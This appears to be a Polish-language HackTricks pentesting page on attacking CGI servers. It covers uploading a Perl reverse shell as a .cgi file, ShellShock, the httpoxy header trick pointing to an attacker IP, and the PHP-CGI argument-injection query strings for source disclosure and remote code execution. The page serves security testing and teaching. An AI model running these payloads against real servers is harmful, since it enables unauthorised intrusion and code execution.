CGI
Last updated
Last updated
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Zgłębiaj swoją wiedzę w Bezpieczeństwie Mobilnym z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
Skrypty CGI to skrypty perl, więc jeśli przejąłeś serwer, który może wykonywać .cgi skrypty, możesz przesłać perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), zmienić rozszerzenie z .pl na .cgi, nadać uprawnienia do wykonywania (chmod +x
) i uzyskać dostęp do reverse shell z przeglądarki internetowej, aby go wykonać. Aby przetestować vulny CGI, zaleca się użycie nikto -C all
(i wszystkich wtyczek)
ShellShock to vulnerability, która dotyczy powszechnie używanego Bash w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji zmiennymi środowiskowymi, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając złośliwy kod do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne przejęcie systemu.
Wykorzystując tę lukę, strona może zgłosić błąd.
Możesz znaleźć tę lukę zauważając, że używa starej wersji Apache i cgi_mod (z folderem cgi) lub używając nikto.
Większość testów polega na wywołaniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, przeszukaj wszystkie strony cgi i przetestuj je.
Nmap
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"
Ponieważ zmienna HTTP_PROXY może być używana przez serwer web. Spróbuj wysłać nagłówek zawierający: "Proxy: <IP_atakującego>:<PORT>" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji. Będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
Zasadniczo, jeśli cgi jest aktywne, a php jest "stary" (<5.3.12 / < 5.4.2), możesz wykonać kod. Aby wykorzystać tę lukę, musisz uzyskać dostęp do jakiegoś pliku PHP serwera web bez wysyłania parametrów (szczególnie bez wysyłania znaku "="). Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do /index.php?-s
(zauważ -s
) i kod źródłowy aplikacji pojawi się w odpowiedzi.
Następnie, aby uzyskać RCE, możesz wysłać to specjalne zapytanie: /?-d allow_url_include=1 -d auto_prepend_file=php://input
i kod PHP do wykonania w treści żądania. Przykład:
Więcej informacji o podatności i możliwych exploitach: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Przykład opisu CTF.
Zgłębiaj swoją wiedzę w Bezpieczeństwie Mobilnym z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)